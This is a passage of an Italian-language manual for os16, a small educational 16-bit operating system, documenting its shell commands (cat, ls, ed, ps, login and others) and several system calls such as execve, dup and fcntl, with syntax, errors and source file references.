Questi programmi sono indicati soprattutto per l'uso di os16 nella modalità interattiva che precede il funzionamento normale del sistema operativo, per la verifica della gestione dei processi.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/aaa.c`' [107.1.2]

'`applic/bbb.c`' [107.1.3]

'`applic/ccc.c`' [107.1.5]

97.2 os16: bbb(1)

Vedere *aaa(1)* [97.1].

97.3 os16: cat(1)

NOME

'**cat**' - emissione del contenuto di uno o più file attraverso lo standard output

SINTASSI

```
cat [file]...
```

DESCRIZIONE

'**cat**' legge il contenuto dei file indicati come argomento e li emette attraverso lo standard output, concatenati assieme in un unico flusso.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/cat.c' [107.1.4]

VEDERE ANCHE

more(1) [97.16], *ed(1)* [97.9].

97.4 os16: ccc(1)

Vedere *aaa(1)* [97.1].

97.5 os16: chmod(1)

NOME

'**chmod**' - cambiamento della modalità dei permessi dei file

SINTASSI

```
chmod mod_ottale file...
```

DESCRIZIONE

'**chmod**' cambia la modalità dei permessi associati ai file indicati, in base al numero ottale indicato come primo argomento.

NOTE

Questa versione di '**chmod**' non permette di indicare la modalità dei permessi in forma simbolica.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/chmod.c' [107.1.6]

VEDERE ANCHE

chown(1) [97.6].

97.6 os16: chown(1)

NOME

'**chown**' - cambiamento del proprietario di un file

SINTASSI

```
chown nome_utente file...
```

```
chown uid file...
```

DESCRIZIONE

'**chown**' cambia l'utente proprietario dei file indicati. Il nuovo proprietario da attribuire può essere indicato per nome o per numero.

NOTE

os16 non gestisce i gruppi, pertanto si può intervenire soltanto sull'utente proprietario dei file.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/chown.c' [107.1.7]

VEDERE ANCHE

chmod(1) [97.5].

97.7 os16: cp(1)

NOME

'**cp**' - copia dei file

SINTASSI

```
cp file_orig file_nuovo...
```

```
cp file... directory_dest...
```

DESCRIZIONE

'**cp**' copia uno o più file. Se l'ultimo argomento è costituito da una directory esistente, la copia produce dei file con lo stesso nome degli originali, all'interno della directory; se l'ultimo argomento non è una directory già esistente, ci può essere un solo file da copiare, intendendo che si voglia creare una copia con quel nome specificato.

DIFETTI

Non è possibile copiare oggetti diversi dai file puri e semplici; quindi, la copia ricorsiva di una directory non è ammissibile.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/cp.c`' [107.1.8]

VEDERE ANCHE

touch(1) [97.20], *mkdir(1)* [97.15].

97.8 os16: date(1)

NOME

'**date**' - visualizzazione o impostazione della data e dell'ora di sistema

SINTASSI

```
date [MMGGhhmm[[SS]AA]]
```

DESCRIZIONE

Se si utilizza il programma '**date**' senza argomenti, si ottiene la visualizzazione della data e dell'ora attuale del sistema operativo. Se si indica una sequenza numerica come argomento, si intende invece impostare la data e l'ora del sistema. In tal caso va indicato un numero preciso di cifre, che può essere di otto, dieci o dodici. Se si immettono otto cifre, si sta specificando il mese, il giorno, l'ora e i minuti dell'anno attuale; se si indicano dieci cifre, le ultime due rappresentano l'anno del secolo attuale; se si immettono dodici cifre, l'anno è indicato per esteso nelle ultime quattro cifre.

ESEMPI

`# ` **`date 123123592010`** [*Invio*]

Imposta la data di sistema al giorno 31 dicembre 2010, alle ore 23:59.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/date.c`' [107.1.10]

VEDERE ANCHE

time(2) [98.39], *stime(2)* [98.39].

97.9 os16: ed(1)

NOME

'**ed**' - creazione e modifica di file di testo

SINTASSI

```
ed
```

DESCRIZIONE

'**ed**' è un programma di creazione e modifica di file di testo, che consente di operare su una riga alla volta.

'**ed**' opera in due modalità di funzionamento: comando e inserimento. All'avvio, '**ed**' si trova in modalità di comando, durante la quale ciò che si inserisce attraverso lo standard input viene interpretato come un comando da eseguire. Per esempio, il comando '**1i**' richiede di passare alla modalità di inserimento, immettendo delle righe a partire dalla prima posizione, spostando quelle presenti in basso. Quando ci si trova in modalità di inserimento, per poter passare alla modalità di comando si introduce un punto isolato, all'inizio di una nuova riga.

Per il momento, in questa pagina di manuale, si omette la descrizione completa dell'utilizzo di '**ed**'.

DIFETTI

La digitazione da tastiera viene interpretata da '**ed**' in modo letterale. Pertanto, anche la cancellazione, [*Backspace*], benché visivamente faccia indietreggiare il cursore, in realtà introduce il codice <*DEL*>. In fase di inserimento ciò comporta la scrittura di tale codice; in modalità di comando, ciò rende errato l'inserimento.

Il file che si intende elaborare con '**ed**' viene caricato o creato completamente nella memoria centrale. Dal momento che os16 consente a ogni processo di gestire una quantità molto limitata di memoria, si può lavorare soltanto con file di dimensioni estremamente ridotte.

AUTORI

Questa edizione di '**ed**' è stata scritta originariamente da David I. Bell, per '**sash**' (una shell che include varie funzionalità, da compilare in modo statico). Successivamente, il codice è stato estrapolato da '**sash**' e reso indipendente, per gli scopi del sistema operativo ELKS (una versione a 16 bit di Linux). Dalla versione estratta per ELKS è stata ottenuta quella di os16, con una serie di modifiche apportate da Daniele Giacomini, tra cui risulta particolarmente evidente il cambiamento dello stile di impaginazione del codice.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/ed.c`' [107.1.11]

VEDERE ANCHE

shell(1) [97.19].

97.10 os16: kill(1)

NOME

'`kill`' - invio di un segnale ai processi

SINTASSI

```
kill -s nome_segnale pid...
```

```
kill -l
```

DESCRIZIONE

Il programma '`kill`' consente di inviare un segnale, indicato per nome, a uno o più processi, specificati per numero.

OPZIONI

Opzione	Descrizione
`-l`	Mostra l'elenco dei nomi dei segnali disponibili.
`-s` ***nome_segnale***	Specifica il nome del segnale da inviare ai processi.

NOTE

Non è possibile indicare il segnale per numero, perché lo standard definisce i nomi di un insieme di segnali necessari, ma non stabilisce il numero, il quale può essere attribuito liberamente in fase realizzativa.

DIFETTI

os16 non consente ai processi di attribuire azioni alternative ai segnali; pertanto, si possono ottenere solo quelle predefinite. Tutto quello che si può fare è, eventualmente, bloccare i segnali, esclusi però quelli che non sono mascherabili per loro natura.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/kill.c`' [107.1.14]

VEDERE ANCHE

kill(2) [98.22], *signal(2)* [98.34].

97.11 os16: ln(1)

NOME

'**ln**' - collegamento dei file

SINTASSI

```
ln file_orig file_nuovo...
```

```
ln file... directory_dest...
```

DESCRIZIONE

'**ln**' crea il collegamento fisico di uno o più file. Se l'ultimo argomento è costituito da una directory esistente, si producono collegamenti con gli stessi nomi degli originali, all'interno della directory; se l'ultimo argomento non è una directory già esistente, ci può essere un solo file da collegare, intendendo che si voglia creare un collegamento con quel nome specificato.

Essendo disponibile soltanto la creazione di collegamenti fisici, questi collegamenti possono essere collocati soltanto all'interno del file system di quelli originali, senza contare eventuali innesti ulteriori.

DIFETTI

Non è possibile creare dei collegamenti simbolici, perché os16 non sa gestirli.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/ln.c`' [107.1.15]

VEDERE ANCHE

cp(1) [97.7], *link(2)* [98.23].

97.12 os16: login(1)

NOME

'**login**' - inizio di una sessione presso un terminale

SINTASSI

```
login
```

DESCRIZIONE

'**login**' richiede l'inserimento di un nominativo-utente e di una parola d'ordine. Questa coppia viene verificata consultando il file '/etc/passwd' e se coincide: vengono cambiati i permessi e la proprietà del file di dispositivo del terminale di controllo; viene cambiata la directory corrente in modo da farla coincidere con la directory personale dell'utente; viene avviata la shell, indicata sempre nel file '/etc/passwd' per quel tale utente, con i privilegi di questo. La shell, avviata così, va a rimpiazzare il processo di '**login**'.

Il programma '**login**' è fatto per essere avviato da '**getty**', non avendo altri utilizzi pratici.

FILE

File	Descrizione
'/etc/passwd'	Contiene l'elenco degli utenti, con l'associazione al numero UID, alla parola d'ordine necessaria per accedere, alla shell dell'utente. Le altre informazioni eventuali contenute nel file, non sono usate da '**login**'.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/login.c' [107.1.16]

VEDERE ANCHE

getty(8) [103.1], *console(4)* [100.1].

97.13 os16: ls(1)

NOME

'**ls**' - elenco del contenuto delle directory

SINTASSI

ls [*opzioni*] [*file*] ...

DESCRIZIONE

'**ls**' elenca i file e le directory indicati come argomenti della chiamata. Se non vengono indicati file o directory da visualizzare, si ottiene l'elenco del contenuto della directory corrente; inoltre, questa realizzazione particolare di '**ls**', se si indica come argomento solo una directory, ne mostra il contenuto, altrimenti, se gli argomenti sono più di uno, mostra solo i nomi richiesti, eventualmente con le rispettive caratteristiche se è stata usata l'opzione '**-l**'.

OPZIONI

Opzione	Descrizione
`-a`	Quando si richiede di mostrare il contenuto di una directory (quella corrente o quella specificata espressamente come primo e unico argomento), con questa opzione si ottiene la visualizzazione anche dei nomi che iniziano con un punto, inclusi '`.`' e '`..`'.
`-l`	Con questa opzione si ottiene la visualizzazione di più informazioni sui file e sulle directory elencati.

NOTE

Dal momento che os16 non considera i gruppi, quando si usa l'opzione '**`-l`**', il nome del gruppo a cui appartiene un file o una directory, non viene visualizzato.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/ls.c`' [107.1.17]

97.14 os16: man(1)

NOME

'**`man`**' - visualizzazione delle pagine di manuale

SINTASSI

```
man [sezione] pagina
```

DESCRIZIONE

'**`man`**' visualizza la pagina di manuale indicata come argomento, consentendone lo scorrimento in avanti. La «pagina» viene cercata tra le sezioni, a partire dalla prima. In caso di omonimie tra sezioni differenti, si può specificare il numero della sezione prima del nome della pagina.

Le pagine di manuale di os16 sono semplicemente dei file di testo, collocati nella directory '`/usr/share/man/`', con nomi del tipo '***pagina*.*n***', dove ***n*** è il numero della sezione.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/man.c`' [107.1.18]

VEDERE ANCHE

cat(1) [97.3].

97.15 os16: mkdir(1)

NOME

'**mkdir**' - creazione di directory

SINTASSI

```
mkdir [-p] [-m mod_ottale] [directory]...
```

DESCRIZIONE

'**mkdir**' crea una o più directory, corrispondenti ai nomi che costituiscono gli argomenti.

OPZIONI

Opzione	Descrizione
-p	Se la directory che si vuole creare, può richiedere prima la creazione di altre directory, con questa opzione (*parents*) si generano tutte le directory genitrici necessarie, purché quei nomi non siano già usati per dei file.
-m ***mod_ottale***	Quando si crea una directory, senza specificare questa opzione, si ottengono i permessi 0777_8 meno quanto contenuto nella maschera di creazione dei file e delle directory. Con l'opzione '**-m**' si vanno invece a specificare i permessi desiderati in modo esplicito.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/mkdir.c' [107.1.19]

VEDERE ANCHE

mkdir(2) [98.25], *rmdir(2)* [98.30].

97.16 os16: more(1)

NOME

'**more**' - visualizzazione di file sullo schermo, permettendo il controllo dello scorrimento dei dati, ma in un solo verso

SINTASSI

```
more file...
```

DESCRIZIONE

'**more**' visualizza i file indicati come argomenti della chiamata, sospendendo lo scorrimento del testo dopo un certo numero di righe, consentendo all'utente di decidere come proseguire.

COMANDI

Quando ‘**more**’ sospende lo scorrimento del testo, è possibile introdurre un comando, composto da un solo carattere, tenendo conto che ciò che non è previsto fa comunque proseguire lo scorrimento:

Comando	Descrizione
[*n*]	si richiede di saltare al file successivo, ammesso che ce ne sia un altro;
[*q*]	si richiede di interrompere lo scorrimento e di concludere il funzionamento del programma;
[*Spazio*]	si richiede di proseguire nella visualizzazione progressiva dei file.

FILE SORGENTI

‘`applic/crt0.s`’ [107.1.9]

‘`applic/more.c`’ [107.1.20]

VEDERE ANCHE

cat(1) [97.3].

97.17 os16: ps(1)

NOME

‘**ps**’ - visualizzazione dello stato dei processi elaborativi

SINTASSI

```
ps
```

DESCRIZIONE

‘**ps**’ visualizza l’elenco dei processi, con le informazioni disponibili sul loro stato. L’elenco è provvisto di un’intestazione, come si vede nell’esempio seguente:

```
pp  p pg
id id rp  tty  uid euid suid usage s iaddr isiz daddr dsiz sp   name
 0  0  0 0000    0    0    0 00.31 r 10500 eff8 00500 0000 ffca os16 kernel
 0  1  0 0000    0    0    0 00.15 s 2f500 3200 32700 3300 2b8c /bin/init
 1  2  2 0500 1001 1001 1001 00.15 s 25700 3900 29000 3400 2f8c /bin/shell
 1  3  3 0501    0    0    0 00.07 s 22600 3100 38e00 3400 2556 /bin/login
 2  4  2 0500 1001 1001 1001 00.03 R 1f500 2b00 3c200 3400 3172 /bin/ps
```

La prima colonna, con la sigla «ppid», ovvero *parent pid*, riporta il numero del processo genitore; la seconda, con la sigla «pid», *process id*, indica il numero del processo preso in considerazione; la terza, con la sigla «pgrp», *process group*, indica il gruppo a cui appartiene il processo; la quarta colonna, «tty», indica il terminale associato, ammesso che ci sia, come numero di dispositivo, ma in base sedici. Le colonne «uid», «euid» e «suid», riguardano l’identità dell’utente, per conto del quale sono in funzione i processi, rappresentando, nell’ordine, l’identità reale (*real user id*), quella efficace (*effective user id*) e quella salvata precedentemente (*saved user id*).

La colonna «usage» indica il tempo di utilizzo della CPU; la colonna «s» indica lo stato del processo, il cui significato può essere interpretato con l'aiuto della tabella successiva:

Lettera	Significato	Descrizione
R	*running*	in corso di esecuzione
r	*ready*	pronto per essere messo in esecuzione
s	*sleeping*	in attesa
z	*zombie*	terminato e non più in memoria, per il quale si attende di passare lo stato di uscita al processo genitore.

Le colonne «iaddr» e «isiz» indicano l'indirizzo iniziale e l'estensione dell'area codice del processo, in memoria; le colonne «daddr» e «dsiz» indicano l'indirizzo iniziale e l'estensione dell'area dati del processo, in memoria. La colonna «sp» indica il valore dell'indice della pila dei dati (*stack pointer*).

L'ultima colonna indica il nome del programma, assieme al suo percorso, con il quale il processo è stato avviato.

NOTE

L'elenco dei processi include anche il kernel, il quale occupa correttamente la prima posizione (processo zero).

FILE

'**ps**' trae le informazioni sullo stato dei processi da un file di dispositivo speciale: '`/dev/kmem_ps`'.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/ps.c`' [107.1.22]

97.18 os16: rm(1)

NOME

'**rm**' - cancellazione di file

SINTASSI

```
rm file...
```

DESCRIZIONE

'**rm**' consente di cancellare i file indicati come argomento.

DIFETTI

Non è possibile eseguire la cancellazione ricorsiva di una directory.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/rm.c`' [107.1.23]

VEDERE ANCHE

unlink(2) [98.42].

97.19 os16: shell(1)

NOME

'**shell**' - interprete dei comandi

SINTASSI

```
shell
```

DESCRIZIONE

'**shell**' è l'interprete dei comandi di os16. Di norma viene avviato da '**login**', in base alla configurazione contenuta nel file '/etc/passwd'.

'**shell**' interpreta i comandi inseriti; se si tratta di un comando interno lo esegue direttamente, altrimenti cerca e avvia un programma con il nome corrispondente, rimanendo in attesa fino alla conclusione del processo relativo, per riprendere poi il controllo.

DIFETTI

L'interpretazione della riga di comando è letterale, pertanto non c'è alcuna espansione di caratteri speciali, variabili di ambiente o altro; inoltre, non è possibile eseguire script.

A volte, quando un processo avviato da '**shell**' termina di funzionare, il processo di '**shell**' non viene risvegliato correttamente, rendendo inutilizzabile il terminale. Per ovviare all'inconveniente, si può premere la combinazione [*Ctrl c*], con la quale viene inviato il segnale '**SIGINT**' a tutti i processi del gruppo associato al terminale.

Anche il fatto che un segnale generato con una combinazione di tasti si trasmetta a tutti i processi del gruppo associato al terminale è un'anomalia, tuttavia fa parte delle particolarità dovute alla semplificazione di os16.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/shell.c' [107.1.24]

VEDERE ANCHE

input_line(3) [99.60].

97.20 os16: touch(1)

NOME

'**touch**' - creazione di un file vuoto oppure aggiornamento della data di modifica

SINTASSI

```
touch file...
```

DESCRIZIONE

'**touch**' crea dei file vuoti, se quelli indicati come argomento non sono esistenti; altrimenti, aggiorna le date di accesso e di modifica, sulla base dello stato dell'orologio di sistema.

DIFETTI

Non è possibile attribuire una data arbitraria; inoltre, a causa della limitazione del tipo di file system utilizzato, non è possibile distinguere tra date di accesso e modifica dei file.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/touch.c' [107.1.25]

97.21 os16: tty(1)

NOME

'**tty**' - nome del file di dispositivo del terminale associato allo standard input

SINTASSI

```
tty
```

DESCRIZIONE

Il programma '**tty**' individua il dispositivo del terminale associato allo standard input e lo traduce in un percorso che descrive il file di dispositivo corrispondente (ovvero il file di dispositivo che dovrebbe corrispondergli)

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/tty.c' [107.1.26]

Capitolo 98

Sezione 2: chiamate di sistema

98.1 os16: _Exit(2)

Vedere *_exit(2)* [98.2].

98.2 os16: _exit(2)

NOME

‘**_exit**’, ‘**_Exit**’ - conclusione del processo chiamante

SINTASSI

```
#include <unistd.h>
void _exit (int status);
```

```
#include <stdlib.h>
void _Exit (int status);
```

DESCRIZIONE

Le funzioni ***_exit()*** e ***_Exit()*** sono equivalenti e servono per concludere il processo chiamante, con un valore pari a quello indicato come argomento (***status***), purché inferiore o uguale 255 (FF_{16}).

La conclusione del processo implica anche la chiusura dei suoi file aperti, e l’affidamento di eventuali processi figli al processo numero uno (‘**init**’); inoltre, si ottiene l’invio di un segnale SIGCHLD al processo genitore di quello che viene concluso.

VALORE RESTITUITO

La funzione non può restituire alcunché, dal momento che la sua esecuzione comporta la morte del processo.

FILE SORGENTI

‘`lib/unistd.h`’ [106.17]

‘`lib/unistd/_exit.c`’ [106.17.1]

‘`lib/stdlib.h`’ [106.10]

‘`lib/stdlib/_Exit.c`’ [106.10.1]

‘`lib/sys/os16/sys.s`’ [106.12.15]

‘`kernel/proc/_isr.s`’ [105.9.1]

‘`kernel/proc/sysroutine.c`’ [105.9.30]

‘`kernel/proc/proc_sys_exit.c`’ [105.9.22]

VEDERE ANCHE

execve(2) [98.10], *fork(2)* [98.14], *kill(2)* [98.22], *wait(2)* [98.43], *atexit(3)* [99.4], *exit(3)* [99.4].

98.3 os16: chdir(2)

NOME

'**chdir**' - modifica della directory corrente

SINTASSI

```
#include <unistd.h>
int chdir (const char *path);
```

DESCRIZIONE

La funzione ***chdir()*** cambia la directory corrente, in modo che quella nuova corrisponda al percorso annotato nella stringa ***path***.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
-1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Argomento non valido.
`EACCES`	Accesso negato.
`ENOTDIR`	Uno dei componenti del percorso non è una directory.
`ENOENT`	Uno dei componenti del percorso non esiste.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/chdir.c`' [106.17.3]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_chdir.c`' [105.4.32]

VEDERE ANCHE

rmdir(2) [98.30], *access(3)* [99.1].

98.4 os16: chmod(2)

NOME

'**chmod**', '**fchmod**' - cambiamento della modalità dei permessi di un file

SINTASSI

```
#include <sys/stat.h>
int chmod  (const char *path, mode_t mode);
int fchmod (int fdn, mode_t mode);
```

DESCRIZIONE

Le funzioni ***chmod()*** e ***fchmod()*** consentono di modificare la modalità dei permessi di accesso di un file. La funzione ***chmod()*** individua il file su cui intervenire attraverso un percorso, ovvero la stringa ***path***; la funzione ***fchmod()***, invece, richiede l'indicazione del numero di un descrittore di file, già aperto. In entrambi i casi, l'ultimo argomento serve a specificare la nuova modalità dei permessi.

Tradizionalmente, i permessi si scrivono attraverso un numero in base otto; in alternativa, si possono usare convenientemente della macro-variabili, dichiarate nel file '`sys/stat.h`', combinate assieme con l'operatore binario OR.

Modalità simbolica	Modalità numerica	Descrizione
`S_IRWXU`	00700_8	Lettura, scrittura ed esecuzione per l'utente proprietario.
`S_IRUSR`	00400_8	Lettura per l'utente proprietario.
`S_IWUSR`	00200_8	Scrittura per l'utente proprietario.
`S_IXUSR`	00100_8	Esecuzione per l'utente proprietario.
`S_IRWXG`	00070_8	Lettura, scrittura ed esecuzione per il gruppo.
`S_IRGRP`	00040_8	Lettura per il gruppo.
`S_IWGRP`	00020_8	Scrittura per il gruppo.
`S_IXGRP`	00010_8	Esecuzione per il gruppo.
`S_IRWXO`	00007_8	Lettura, scrittura ed esecuzione per gli altri utenti.
`S_IROTH`	00004_8	Lettura per gli altri utenti.
`S_IWOTH`	00002_8	Scrittura per gli altri utenti.
`S_IXOTH`	00001_8	Esecuzione per gli altri utenti.

os16 non considera i permessi SUID (*Set user id*), SGID (*Set group id*) e Sticky, che nella tabella non sono stati nemmeno annotati; inoltre, non tiene in considerazione i permessi legati al gruppo.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EACCES`	Permesso negato.
`EBADF`	Il descrittore del file richiesto non è valido.

FILE SORGENTI

'`lib/sys/stat.h`' [106.13]

'`lib/sys/stat/chmod.c`' [106.13.1]

'`lib/sys/stat/fchmod.c`' [106.13.2]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_chmod.c`' [105.4.33]

VEDERE ANCHE

chmod(1) [97.5], *chown(2)* [98.5], *open(2)* [98.28], *stat(2)* [98.36].

98.5 os16: chown(2)

NOME

'**`chown`**', '**`fchown`**' - modifica della proprietà dei file

SINTASSI

```
#include <unistd.h>
int chown  (const char *path, uid_t uid, gid_t gid);
int fchown (int fdn, uid_t uid, gid_t gid);
```

DESCRIZIONE

Le funzioni ***chown()*** e ***fchown()***, modificano la proprietà di un file, fornendo il numero UID e il numero GID. Il file viene indicato, rispettivamente, attraverso il percorso scritto in una stringa, oppure come numero di descrittore già aperto.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Argomento non valido.
`EPERM`	Permessi insufficienti per eseguire l'operazione.
`ENOTDIR`	Uno dei componenti del percorso non è una directory.
`ENOENT`	Uno dei componenti del percorso non esiste.
`EBADF`	Il descrittore del file non è valido.

DIFETTI

Le funzioni consentono di attribuire il numero del gruppo, ma os16 non valuta i permessi di accesso ai file, relativi ai gruppi.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/chown.c`' [106.17.4]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/path_chown.c`' [105.4.34]

'`kernel/fs/fd_chown.c`' [105.4.2]

VEDERE ANCHE

chmod(2) [98.4].

98.6 os16: clock(2)

NOME

'**`clock`**' - tempo della CPU espresso in unità '**`clock_t`**'

SINTASSI

```
#include <time.h>
clock_t clock (void);
```

DESCRIZIONE

La funzione ***clock()*** restituisce il tempo di utilizzo della CPU, espresso in unità '**`clock_t`**', corrispondenti a secondi diviso il valore della macro-variabile ***CLOCKS_PER_SEC***. Per os16, come dichiarato nel file '`time.h`', il valore di ***CLOCKS_PER_SEC*** è 18, essendo la frequenza di CPU poco più di 18 Hz.

VALORE RESTITUITO

La funzione restituisce il tempo di CPU, espresso in multipli di 1/18 di secondo.

FILE SORGENTI

'`lib/time.h`' [106.16]

'`lib/time/clock.c`' [106.16.2]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/k_libc/k_clock.c`' [105.6.1]

VEDERE ANCHE

time(2) [98.39].

98.7 os16: close(2)

NOME

'**`close`**' - chiusura di un descrittore di file

SINTASSI

```
#include <unistd.h>
int close (int fdn);
```

DESCRIZIONE

Le funzioni ***close()*** chiude un descrittore di file.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore del file non è valido.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/close.c`' [106.17.5]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/fd_close.c`' [105.4.3]

VEDERE ANCHE

fcntl(2) [98.13], *open(2)* [98.28], *fclose(3)* [99.27].

98.8 os16: dup(2)

NOME

'**dup**', '**dup2**' - duplicazione di descrittori di file

SINTASSI

```
#include <unistd.h>
int dup  (int fdn_old);
int dup2 (int fdn_old, int fdn_new);
```

DESCRIZIONE

Le funzioni ***dup()*** e ***dup2()*** servono a duplicare un descrittore di file. La funzione ***dup()*** duplica il descrittore ***fdn_old***, utilizzando il numero di descrittore libero più basso che sia disponibile; ***dup2()***, invece, richiede che il nuovo numero di descrittore sia specificato, attraverso il parametro ***fdn_new***. Tuttavia, se il numero di descrittore ***fdn_new*** risulta utilizzato, questo viene chiuso prima di diventare la copia di ***fdn_old***.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Uno dei descrittori specificati non è valido.
`EMFILE`	Troppi file aperti per il processo.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/dup.c`' [106.17.6]

'`lib/unistd/dup2.c`' [106.17.7]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs/fd_dup.c`' [105.4.4]

'`kernel/fs/fd_dup2.c`' [105.4.5]

VEDERE ANCHE

close(2) [98.7], *fcntl(2)* [98.13], *open(2)* [98.28].

98.9 os16: dup2(2)

Vedere *dup(2)* [98.8].

98.10 os16: execve(2)

NOME

'**execve**' - esecuzione di un file

SINTASSI

```
#include <unistd.h>
int execve (const char *path, char *const argv[], char *const envp[]);
```

DESCRIZIONE

La funzione ***execve()*** è quella che avvia effettivamente un programma, mentre le altre funzioni '**exec...()**' offrono semplicemente un'interfaccia differente per l'avvio, ma poi si avvalgono di ***execve()*** per svolgere effettivamente quanto loro richiesto.

La funzione ***execve()*** avvia il file il cui percorso è specificato come stringa, nel primo argomento.

Il secondo argomento deve essere un array di stringhe, dove la prima deve rappresentare il nome del programma avviato e le successive sono gli argomenti da passare al programma. L'ultimo elemento di tale array deve essere un puntatore nullo, per poter essere riconosciuto.

Il terzo argomento deve essere un array di stringhe, rappresentanti l'ambiente da passare al nuovo processo. Per ambiente si intende l'insieme delle variabili di ambiente, pertanto queste stringhe devono avere la forma '***nome*=*valore***', per essere riconoscibili. Anche in questo caso, per poter individuare l'ultimo elemento dell'array, questo deve essere un puntatore nullo.

VALORE RESTITUITO

Se ***execve()*** riesce nel suo compito, non può restituire alcunché, dato che in quel momento, il processo chiamante viene rimpiazzato da quello del file che viene eseguito. Pertanto, se viene restituito qualcosa, può trattarsi solo di un valore che rappresenta un errore, ovvero −1, aggiornando anche la variabile ***errno*** di conseguenza.

ERRORI

Valore di ***errno***	Significato
`E2BIG`	Ci sono troppi argomenti.
`ENOMEM`	Memoria insufficiente.
`ENOENT`	Il file richiesto non esiste.
`EACCES`	Il file non può essere avviato per la mancanza dei permessi di acceso necessari.
`ENOEXEC`	Il file non può essere un file eseguibile, perché non ne ha le caratteristiche.
`EIO`	Errore di input-output.

DIFETTI

os16 non prevede l'interpretazione di script, perché non esiste alcun programma in grado di farlo. Anche la shell di os16 si limita a eseguire i comandi inseriti, ma non può interpretare un file.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/execle.c`' [106.17.10]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_exec.c`' [105.9.21]

VEDERE ANCHE

fork(2) [98.14], *exec(3)* [99.20], *getopt(3)* [99.52], *environ(7)* [102.1].

98.11 os16: fchmod(2)

Vedere *chmod(2)* [98.4].

98.12 os16: fchown(2)

Vedere *chown(2)* [98.5].

98.13 os16: fcntl(2)

NOME

'**`fcntl`**' - configurazione e intervento sui descrittori di file

SINTASSI

```
#include <fcntl.h>
int fcntl (int fdn, int cmd, ...);
```

DESCRIZIONE

La funzione ***fcntl()*** esegue un'operazione, definita dal parametro ***cmd***, sul descrittore richiesto come primo parametro (***fdn***). A seconda del tipo di operazione richiesta, potrebbero essere necessari degli argomenti ulteriori, i quali però non possono essere formalizzati in modo esatto nel prototipo della funzione. Il valore del secondo parametro che rappresenta l'operazione richiesta, va fornito in forma di costante simbolica, come descritto nell'elenco seguente.

Sintassi	Descrizione
`fcntl (fdn, F_DUPFD, (int) fdn_min)`	Richiede la duplicazione del descrittore di file ***fdn***, in modo tale che la copia abbia il numero di descrittore minore possibile, ma maggiore o uguale a quello indicato come argomento ***fdn_min***.
`fcntl (fdn, F_GETFD)` `fcntl (fdn, F_SETFD, (int) fd_flags)`	Rispettivamente, legge o imposta, gli indicatori del descrittore di file ***fdn*** (eventualmente noti come *file descriptor flags* o solo *fd flags*). Per il momento, è possibile impostare un solo indicatore, '**`FD_CLOEXEC`**', pertanto, al posto di ***fd_flags*** si può mettere solo la costante '**`FD_CLOEXEC`**'.
`fcntl (fdn, F_GETFL)` `fcntl (fdn, F_SETFL, (int) fl_flags)`	Rispettivamente, legge o imposta, gli indicatori dello stato del file, relativi al descrittore ***fdn*** (eventualmente noti come *file flaga* o solo *fl flags*). Per impostare questi indicatori, vanno combinate delle costanti simboliche: '**`O_RDONLY`**', '**`O_WRONLY`**', '**`O_RDWR`**', '**`O_CREAT`**', '**`O_EXCL`**', '**`O_NOCTTY`**', '**`O_TRUNC`**'.

